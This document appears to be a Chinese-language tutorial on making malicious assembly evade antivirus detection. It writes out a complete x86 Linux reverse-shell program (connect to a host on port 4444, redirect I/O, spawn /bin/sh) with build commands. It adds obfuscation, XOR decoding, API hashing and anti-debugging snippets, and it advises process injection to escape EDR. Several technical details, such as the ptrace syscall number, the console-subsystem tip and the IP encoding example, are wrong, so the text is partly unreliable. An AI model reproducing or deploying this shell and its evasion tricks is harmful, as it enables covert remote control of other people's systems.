编译汇编代码实现免杀
字数 1148 2025-08-07 00:34:58
编译汇编代码实现免杀技术详解
一、IP地址编码算法解析
在原始讨论中提到的IP地址编码问题,实际上是一种将常规IP地址转换为十六进制ASCII码表示的方法。下面详细解释这种编码方式:
1. 编码原理
IP地址中的每个字符(包括数字和分隔符".")都被转换为对应的ASCII码十六进制表示形式,并以h后缀表示十六进制。
2. 编码示例
原始讨论中的编码:
30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
对应ASCII解码:
- 30h → '0'
- 2fh → '/'
- 2dh → '-'
- 32h → '2'
- 2fh → '/'
- 2dh → '-'
- 33h → '3'
- 2dh → '-'
- 31h → '1'
- 2fh → '/'
- 33h → '3'
- 00h → 终止符
组合起来是:"0/-2/-3-1/3"
3. 自定义IP编码方法
对于IP地址"192.168.41.129"的编码方法:
-
分解每个字符:
1, 9, 2, ., 1, 6, 8, ., 4, 1, ., 1, 2, 9 -
查找每个字符的ASCII十六进制值:
- '1' → 31h
- '9' → 39h
- '2' → 32h
- '.' → 2Eh
- '1' → 31h
- '6' → 36h
- '8' → 38h
- '.' → 2Eh
- '4' → 34h
- '1' → 31h
- '.' → 2Eh
- '1' → 31h
- '2' → 32h
- '9' → 39h
- 终止符 → 00h
-
最终编码序列:
31h,39h,32h,2Eh,31h,36h,38h,2Eh,34h,31h,2Eh,31h,32h,39h,00h
二、汇编代码免杀关键技术
1. 去除窗口显示
在汇编或链接阶段,可以通过以下方法去除程序窗口:
链接参数设置为:/subsystem:console
或者使用汇编指令:
; 对于MASM语法
option casemap:none
option subsystem:console
2. 协议修改为TCP
要将连接协议改为TCP,需要在汇编代码中:
- 修改socket创建参数:
mov eax, 2 ; AF_INET
mov ebx, 1 ; SOCK_STREAM (TCP)
mov ecx, 6 ; IPPROTO_TCP
int 0x80 ; 系统调用
- 修改connect调用参数结构:
struct sockaddr_in {
short sin_family; // AF_INET = 2
unsigned short sin_port; // 端口号(网络字节序)
struct in_addr sin_addr; // IP地址
char sin_zero[8]; // 未使用
};
三、完整免杀技术实现流程
1. 汇编代码编写要点
section .text
global _start
_start:
; 创建socket
mov eax, 102 ; socketcall
mov ebx, 1 ; SYS_SOCKET
push 6 ; IPPROTO_TCP
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp
int 0x80
; 连接设置
mov edi, eax ; 保存socket描述符
push 0x0101017F ; 127.1.1.1 (小端序)
push word 0x5C11 ; 端口4444 (网络字节序)
push word 2 ; AF_INET
mov ecx, esp
; 执行connect
mov eax, 102
mov ebx, 3 ; SYS_CONNECT
push 16 ; sizeof(struct sockaddr_in)
push ecx
push edi
mov ecx, esp
int 0x80
; 重定向标准I/O
mov ebx, edi ; socket描述符
xor ecx, ecx
mov cl, 2 ; stderr
dup_loop:
mov eax, 63 ; dup2
int 0x80
dec ecx
jns dup_loop
; 执行shell
xor eax, eax
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 ; execve
int 0x80
2. 编译与链接
nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 -s -o shellcode shellcode.o
3. 免杀技巧
- 字符串混淆:所有字符串使用ASCII编码形式表示
- 系统调用混淆:使用socketcall代替直接socket调用
- IP编码:使用反向或混淆的IP表示形式
- 代码分段:将关键功能拆分为多个小函数
- 添加垃圾代码:插入无意义但不影响功能的指令
四、高级免杀技术
1. 动态解码技术
decode_loop:
lodsb ; 加载一个字节
xor al, 0xAA ; 解码密钥
stosb ; 存储解码后的字节
loop decode_loop
2. API哈希处理
; 计算kernel32.dll导出函数哈希
compute_hash:
xor eax, eax
cdq
hash_loop:
lodsb
ror edx, 0x0D
add edx, eax
test al, al
jnz hash_loop
ret
3. 反调试技术
; 检查调试器存在
mov eax, 0x5658 ; __NR_ptrace
xor ebx, ebx
xor ecx, ecx
xor edx, edx
int 0x80
test eax, eax
js no_debugger
五、注意事项
- 现代AV/EDR会检测直接系统调用(int 0x80/syscall)
- 考虑使用间接系统调用或API调用绕过检测
- 代码段应设置正确的内存权限
- 避免使用明显的恶意代码模式(如连续的socket/dup2/execve)
- 考虑使用进程注入或进程挖空技术进一步增强隐蔽性
以上技术仅供学习研究使用,请勿用于非法用途。